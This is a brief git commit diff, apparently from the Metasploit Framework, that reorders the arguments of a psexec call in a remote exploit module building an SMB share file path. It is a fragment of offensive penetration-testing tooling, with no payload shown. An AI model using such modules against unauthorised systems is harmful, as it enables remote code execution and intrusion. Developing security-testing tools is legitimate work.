Erf, sorry, fixed now
parent
5334f2657e
commit
b636a679ae
|
@ -199,7 +199,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
file_location = "\\\\127.0.0.1\\#{smbshare}\\#{fileprefix}\\#{filename}"
|
file_location = "\\\\127.0.0.1\\#{smbshare}\\#{fileprefix}\\#{filename}"
|
||||||
end
|
end
|
||||||
|
|
||||||
psexec(file_location, servicedescription, false)
|
psexec(file_location, false, servicedescription)
|
||||||
|
|
||||||
print_status("Deleting \\#{filename}...")
|
print_status("Deleting \\#{filename}...")
|
||||||
sleep(1)
|
sleep(1)
|
||||||
|
|
Loading…
Reference in New Issue